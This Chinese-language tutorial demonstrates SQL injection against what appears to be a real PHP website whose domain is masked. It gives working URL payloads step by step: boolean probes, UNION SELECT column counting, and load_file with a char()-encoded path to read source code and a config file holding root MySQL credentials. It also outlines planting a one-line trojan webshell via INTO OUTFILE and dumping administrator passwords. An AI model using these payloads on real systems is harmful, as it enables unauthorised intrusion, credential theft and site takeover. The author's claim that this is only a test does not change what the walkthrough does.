PHP网站脚本注入漏洞实例检测图解

下面，我们就来一步步演示PHP注入的具体过程。既然是网络上的主机，这里只做注入测试，不会进一步深入操作。先给网站后面加个单引号字符，返回错误信息，说明这个网站很可能存在注入点。接着提交 `and 1=1`，页面正常显示；再提交 `and 1=2`，显示错误——好，基本确认了。继续提交union注入语句： ``` http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1 ``` 同样显示错误。不过网站的路径我们已经知道，是一台Linux系统，路径为 `/home/caiqing/www/view_detail.php`。继续尝试： ``` http://www.xxx.net/view_datail.php?id=357 and 1=1 union select 1,2 ``` 一直增加到 `select 1,2,3,4,5,6,7,8,9,10,11` 时，网站才正常显示。这时再输入： ``` http://www.xxx.net/view_datail.php?id=357 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 ``` 出现如图显示：

500)this.width=500" title="点击这里用新窗口浏览图片" />

图片中间出现了数字3、5、8、9、7等，对照原网页就能看出端倪——前面的图中数字3、5、7的位置是字符型，我们可以用 `load_file` 语句来读取网站源代码，进而拿到MySQL的账号和密码。 接下来，把 `/home/caiqing/www/view_detail.php` 转化为ASCII码：`char(47,104,111,109,101,47,99,97,105,113,105,110,103,47,119,119,119,47,118,105,101,119,95,100,101,116,97,105,108,46,112,104,112)`，然后把这个load_file放在数字7的位置，如下： ``` http://www.xxx.net/view_datail.php?id=357 and 1=2 union select 1,2,3,4,5,6,load_file(char(47,104,111,109,101,47,99,97,105,113,105,110,103,47,119,119,119,47,118,105,101,119,95,100,101,116,97,105,108,46,112,104,112)),8,9,10,11 ``` 如图：

500)this.width=500" title="点击这里用新窗口浏览图片" />

从返回结果中，我们看到了一个 `config.php` 文件，这很可能就是数据库配置文件。用同样的方式把它显示出来，最终拿到了MySQL的账号和密码——还是root权限。接下来，可以创建一个表，插入一句话木马，然后用 `select * from rose into outfile "/home/caiqing/www/shell.php"` 来获取一个webshell。也可以利用数据表中的用户表，在URL中执行select语句，把管理员用户名和密码显示在数字3和5的位置。这里只是技术分析，就不展开细说了。